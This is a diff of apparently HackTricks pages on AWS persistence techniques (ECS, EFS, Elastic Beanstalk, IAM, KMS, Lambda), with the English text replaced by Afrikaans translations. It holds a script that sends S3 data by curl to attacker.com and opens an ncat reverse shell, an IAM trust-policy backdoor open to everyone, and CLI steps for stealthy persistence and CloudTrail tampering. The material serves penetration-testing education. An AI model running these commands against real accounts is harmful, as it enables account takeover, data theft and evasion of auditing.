SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
Impak: 'n beskermde task bly RUNNING ondanks desiredCount=0 en blokkeer vervangings tydens nuwe deployments, waardeur onopvallende, langdurige volharding binne die ECS-diens moontlik word.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,25 +0,0 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
|
||||
### Create Access Point
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Wysig Resource Policy / Security Groups
|
||||
|
||||
Deur die **resource policy and/or security groups** te wysig, kan jy probeer om jou access in die lêerstelsel te persist.
|
||||
|
||||
### Skep Access Point
|
||||
|
||||
Jy kan **skep 'n access point** (met root access tot `/`) wat vanaf 'n diens toeganklik is waar jy **ander persistence** geïmplementeer het om privileged access tot die lêerstelsel te behou.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,81 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
Om persistence binne die AWS-account te handhaaf, kan 'n **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) geïnstalleer word, sodat die attacker toegang daartoe kan kry en die IAM role **credentials from the metadata service** kan steel.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
Die attacker kan die code in die S3 repo backdoor sodat dit altyd sy backdoor en die verwagte code uitvoer.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
In plaas daarvan om die code op die werklike version te verander, kan die attacker 'n nuwe backdoored version van die application deploy.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk verskaf lifecycle hooks wat jou toelaat om custom scripts tydens instance provisioning en termination te laat loop. Die attacker kan **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,53 +0,0 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
|
||||
- Create a user
|
||||
- Add a controlled user to a privileged group
|
||||
- Create access keys (of the new user or of all users)
|
||||
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
- Disable MFA / Add you own MFA device
|
||||
- Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Backdoor Policy Version
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Algemene IAM Persistence
|
||||
|
||||
- Skep 'n user
|
||||
- Voeg 'n beheerde user by 'n privileged group
|
||||
- Skep access keys (van die nuwe user of van alle users)
|
||||
- Gee ekstra toestemmings aan beheerde users/groups (attached policies of inline policies)
|
||||
- Deaktiveer MFA / Voeg jou eie MFA device by
|
||||
- Skep 'n Role Chain Juggling situasie (meer hieroor hieronder in STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
Jy kan 'n backdoor in 'n trust policy plaas om dit te kan assume vir 'n external resource wat deur jou beheer word (of vir almal):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Backdoor Policy Version
|
||||
|
||||
Gee Administrator-permissies aan 'n policy wat nie in sy laaste weergawe is nie (die laaste weergawe moet geloofwaardig lyk), en ken dan daardie weergawe van die policy toe aan 'n beheerde user/group.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
Indien die account reeds 'n algemene identity provider (soos Github) vertrou, kan die trust-voorwaardes uitgebrei word sodat die aanvaller dit kan misbruik.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,43 +0,0 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
# AWS - KMS Persistensie
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant toegang via KMS-beleide
|
||||
|
||||
'n Aanvaller kan die toestemming **`kms:PutKeyPolicy`** gebruik om **toegang te gee** tot 'n sleutel aan 'n gebruiker onder sy beheer, of selfs aan 'n eksterne rekening. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) vir meer inligting.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants is nog 'n manier om 'n principal sekere permissies oor 'n spesifieke sleutel te gee. Dit is moontlik om 'n grant te gee wat 'n gebruiker toelaat om grants te skep. Verder kan 'n gebruiker verskeie grants hê (selfs identiese) oor dieselfde sleutel.
|
||||
|
||||
Daarom is dit moontlik dat 'n gebruiker 10 grants met al die permissies het. Die aanvaller moet dit voortdurend monitor. En as op enige tydstip 1 grant verwyder word, behoort nog 10 gegenereer te word.
|
||||
|
||||
(Ons gebruik 10 en nie 2 nie sodat ons kan opspoor dat 'n grant verwyder is terwyl die gebruiker nog steeds 'n grant het)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> 'n grant kan slegs toestemmings gee vanaf hierdie: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Lambda
|
||||
|
||||
For more information check:
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
@@ -12,7 +12,7 @@ For more information check:
|
||||
|
||||
### Lambda Layer Persistence
|
||||
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
Dit is moontlik om **introduce/backdoor a layer to execute arbitrary code** wanneer die lambda op 'n stealthy wyse uitgevoer word:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Deur Lambda Layers te abuse is dit ook moontlik om extensions te misbruik en in die lambda te persist, en ook requests te steel en te wysig.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,15 +28,15 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
Dit is moontlik om toegang tot verskillende lambda-aksies (soos invoke of update code) aan eksterne rekeninge te verleen:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
A Lambda kan **different versions** hê (met verskillende code per version).\
|
||||
Dan kan jy **different aliases with different versions** van die lambda skep en verskillende weights aan elkeen toewys.\
|
||||
Op hierdie manier kan 'n aanvaller 'n **backdoored version 1** skep en 'n **version 2 with only the legit code**, en **only execute the version 1 in 1%** van die requests om stealth te bly.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -44,25 +44,90 @@ This way an attacker could create a **backdoored version 1** and a **version 2 w
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
Die feit dat jy **lambda functions run when something happen or when some time pass** maak lambda 'n gewilde manier om persistence te verkry en detectie te vermy.\
|
||||
Hier is 'n paar idees om jou **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
- Elke keer as 'n nuwe user geskep word, genereer die lambda 'n nuwe user key en stuur dit aan die attacker.
|
||||
- Elke keer as 'n nuwe role geskep word, gee die lambda assume role permissies aan gecompromitteerde users.
|
||||
- Elke keer as nuwe cloudtrail logs gegenereer word, delete/alter hulle
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Misbruik die omgewingveranderlike `AWS_LAMBDA_EXEC_WRAPPER` om 'n attacker-controlled wrapper script uit te voer voordat die runtime/handler begin. Plaas die wrapper via 'n Lambda Layer by `/opt/bin/htwrap`, stel `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, en roep dan die funksie aan. Die wrapper hardloop binne die funksie se runtime-proses, erf die function execution role, en uiteindelik `exec`s die werklike runtime sodat die oorspronklike handler steeds normaal uitvoer.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Misbruik Lambda asynchronous destinations saam met die Recursion configuration om 'n funksie aanhoudend weer self te laat invoke sonder 'n eksterne scheduler (geen EventBridge, cron, ens.). By verstek beëindig Lambda recursive loops, maar deur die recursion config op Allow te sit word dit weer geaktiveer. Destinations deliver op die service-side vir async invokes, so 'n enkele seed invoke skep 'n stealthy, code-free heartbeat/backdoor channel. Opsioneel kan jy met reserved concurrency throttle om geraas laag te hou.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Skep 'n verborge Lambda version met attacker logic en scope 'n resource-based policy na daardie spesifieke version (of alias) deur die `--qualifier` parameter in `lambda add-permission` te gebruik. Gee slegs `lambda:InvokeFunction` op `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` aan 'n attacker principal. Normale invocations via die function name of primêre alias bly onaangeraak, terwyl die attacker direk die backdoored version ARN kan invoke.
|
||||
|
||||
Dit is stealthier as om 'n Function URL bloot te stel en verander nie die primêre traffic alias nie.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
'n Attacker wat lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, en lambda:GetRuntimeManagementConfig permissies het, kan 'n funksie se runtime management configuration wysig. Hierdie aanval is veral effektief wanneer die doel is om 'n Lambda-funksie op 'n kwetsbare runtime version te hou of om versoenbaarheid met malicious layers te bewaar wat dalk onversoenbaar is met nuwer runtimes.
|
||||
|
||||
Die attacker wysig die runtime management configuration om die runtime version te pin:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
Verifieer die toegepaste konfigurasie:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
Opsioneel: Speld vas aan 'n spesifieke runtime-weergawe
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
Vastmaak aan 'n spesifieke runtime-weergawe:
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,46 +1,42 @@
|
||||
# AWS - Abusing Lambda Extensions
|
||||
# AWS - Misbruik van Lambda-uitbreidings
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda Extensions
|
||||
## Lambda-uitbreidings
|
||||
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
Lambda-uitbreidings verbeter funksies deur te integreer met verskeie **monitering, waaksaamheid, sekuriteit en bestuur gereedskap**. Hierdie uitbreidings, wat bygevoeg word via [.zip argiewe met Lambda-lae](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) of ingesluit in [houerbeeld ontplooiings](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), werk in twee modi: **intern** en **ekstern**.
|
||||
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
- **Interne uitbreidings** meng met die runtime-proses, wat die opstart daarvan manipuleer met behulp van **taalspesifieke omgewing veranderlikes** en **wrapper-skripte**. Hierdie aanpassing geld vir 'n reeks runtimes, insluitend **Java Correto 8 en 11, Node.js 10 en 12, en .NET Core 3.1**.
|
||||
- **Eksterne uitbreidings** loop as aparte prosesse, wat die werking in lyn hou met die Lambda-funksie se lewensiklus. Hulle is versoenbaar met verskeie runtimes soos **Node.js 10 en 12, Python 3.7 en 3.8, Ruby 2.5 en 2.7, Java Corretto 8 en 11, .NET Core 3.1**, en **aangepaste runtimes**.
|
||||
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
Vir meer inligting oor [**hoe lambda-uitbreidings werk, kyk die dokumentasie**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
### Eksterne Uitbreiding vir Volharding, Diefstal van Versoeke & Modifisering van Versoeke
|
||||
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
Dit is 'n opsomming van die tegniek wat in hierdie pos voorgestel word: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
Daar is gevind dat die standaard Linux-kern in die Lambda-runtime-omgewing saamgecompileer is met “**process_vm_readv**” en “**process_vm_writev**” stelsels oproepe. En alle prosesse loop met dieselfde gebruikers-ID, selfs die nuwe proses wat geskep is vir die eksterne uitbreiding. **Dit beteken dat 'n eksterne uitbreiding volle lees- en skryfgemagtiging het tot Rapid se heap-geheue, volgens ontwerp.**
|
||||
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
Boonop, terwyl Lambda-uitbreidings die vermoë het om **in te teken op aanroepgebeurtenisse**, openbaar AWS nie die rou data aan hierdie uitbreidings nie. Dit verseker dat **uitbreidings nie toegang het tot sensitiewe inligting** wat via die HTTP-versoek oorgedra word.
|
||||
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
Die Init (Rapid) proses monitor alle API-versoeke by [http://127.0.0.1:9001](http://127.0.0.1:9001/) terwyl Lambda-uitbreidings geïnitialiseer en uitgevoer word voordat enige runtime-kode uitgevoer word, maar na Rapid.
|
||||
|
||||
